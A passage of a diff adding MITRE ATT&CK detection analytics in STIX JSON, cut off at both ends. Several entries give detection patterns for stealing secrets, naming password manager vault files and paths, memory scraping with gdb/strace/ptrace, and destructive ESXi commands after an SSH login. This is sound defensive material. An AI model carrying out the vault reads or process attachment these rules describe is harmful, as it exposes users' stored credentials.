+ { + "field": "TimeWindow", + "description": "Correlate SSH login and unauthorized commands or shell access" + }, + { + "field": "CommandList", + "description": "Flag commands like esxcli, rm, chmod post-login" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--18ab8a54-68bc-4d43-884d-2b9284eb723e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0597#AN1641", + "external_id": "AN1641" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1641", + "description": "Detection of suspicious access to password manager processes (KeePass, 1Password, LastPass, Bitwarden) through abnormal process injection, memory reads, or command-line usage of vault-related DLLs. Correlates process creation with OS API calls and file access to vault databases (.kdbx, .opvault, .ldb).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PasswordManagerBinaries", + "description": "List of monitored binaries and file formats for password managers in use (e.g., KeePass, 1Password, Bitwarden, LastPass)." + }, + { + "field": "TimeWindow", + "description": "Window to correlate process creation, API access, and file reads indicative of credential extraction." + }, + { + "field": "UserContext", + "description": "Filter for administrative accounts vs. expected users of password managers." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--93fd8592-d8ce-4b5e-b095-71cd66062298", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0597#AN1642", + "external_id": "AN1642" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1642", + "description": "Suspicious access to password manager vaults (KeePassXC, gnome-keyring, pass) via memory scraping or unauthorized file reads. Detects unusual command execution involving gdb/strace attached to password manager processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "ptrace" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VaultFilePaths", + "description": "Linux paths to monitor for vault database files (KeePassXC, pass, gnome-keyring)." + }, + { + "field": "TimeWindow", + "description": "Correlation interval to detect multiple suspicious access events." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de1d4807-fcb5-4112-b310-ea0c4df45af2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0597#AN1643", + "external_id": "AN1643" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1643", + "description": "Detection of password manager database access (1Password .opvault, LastPass caches, KeePass .kdbx) outside expected parent processes. Identifies memory scraping attempts via suspicious API calls or tools attaching to password manager processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "security OR injection attempts into 1Password OR LastPass" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "*.opvault OR *.ldb OR *.kdbx" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:osquery", + "channel": "unexpected memory inspection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VaultFileExtensions", + "description": "Password manager file extensions (.opvault, .kdbx, .ldb) to monitor for anomalous access." + }, + { + "field": "ParentProcessWhitelist", + "description": "Expected parent processes that normally access password manager files, for filtering false positives." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3b25198c-e31d-4e0c-9d26-eb8e714c71a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0805#AN1937", + "external_id": "AN1937" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1937", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cf5aa9ca-0f1b-4707-94af-484228fd6199", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0806#AN1938", + "external_id": "AN1938" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1938", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a9a66c41-1b05-41fc-a866-272848b051ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0807#AN1939", + "external_id": "AN1939" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1939", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--193167de-400a-4ea3-a8db-93e4bf628068", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0808#AN1940", + "external_id": "AN1940" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1940", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--888e8587-e490-4509-9226-e72b32466618", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0809#AN1941", + "external_id": "AN1941" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1941", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5c5afe0d-b967-49ac-8c3e-eeb9cc01667d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0810#AN1942", + "external_id": "AN1942" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1942", + "description": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--746ebd79-2d1f-4e58-8bdb-b49a236a9642", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0811#AN1943", + "external_id": "AN1943" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1943", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--240a8cec-0e3a-44ed-a485-4d212a21b127", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0812#AN1944", + "external_id": "AN1944" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1944", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fed95f58-2b3a-46c5-a4b1-a3d378d036cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0813#AN1945", + "external_id": "AN1945" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1945", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b123fe68-1da5-4c80-b4f0-f3d476891e11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0814#AN1946", + "external_id": "AN1946" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1946", + "description": "Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e46455a1-a3a3-4de9-916d-41ffd2721062", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0815#AN1947", + "external_id": "AN1947" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1947", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23855fa6-f6d6-4a9c-a270-ea1f2830ef60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0816#AN1948", + "external_id": "AN1948" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1948", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ba33f5f-5f75-40c5-96ab-b014e772f9a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0817#AN1949", + "external_id": "AN1949" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1949", + "description": "Monitoring the content of network traffic can help detect patterns associated with active scanning activities. This can include identifying repeated connection attempts, unusual scanning behaviors, or probing activity targeting multiple IP addresses across a network.\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8722b13a-1b20-4f2e-991b-153a26bba2a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0818#AN1950", + "external_id": "AN1950" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1950", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7101cd68-f6a2-4b7e-b19d-5d27b4c3b44c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0819#AN1951", + "external_id": "AN1951" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1951", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3d01d29d-30f1-4b3b-bf04-54aca340a8eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0820#AN1952", + "external_id": "AN1952" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1952", + "description": "Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5880eb25-eec5-4b40-a3fa-6a3c633a3e56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0821#AN1953", + "external_id": "AN1953" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1953", + "description": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9d36e6e7-9c6c-495c-9431-464fb525c4e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0822#AN1954", + "external_id": "AN1954" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1954", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--663bba48-7043-4407-875f-59691655d13c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 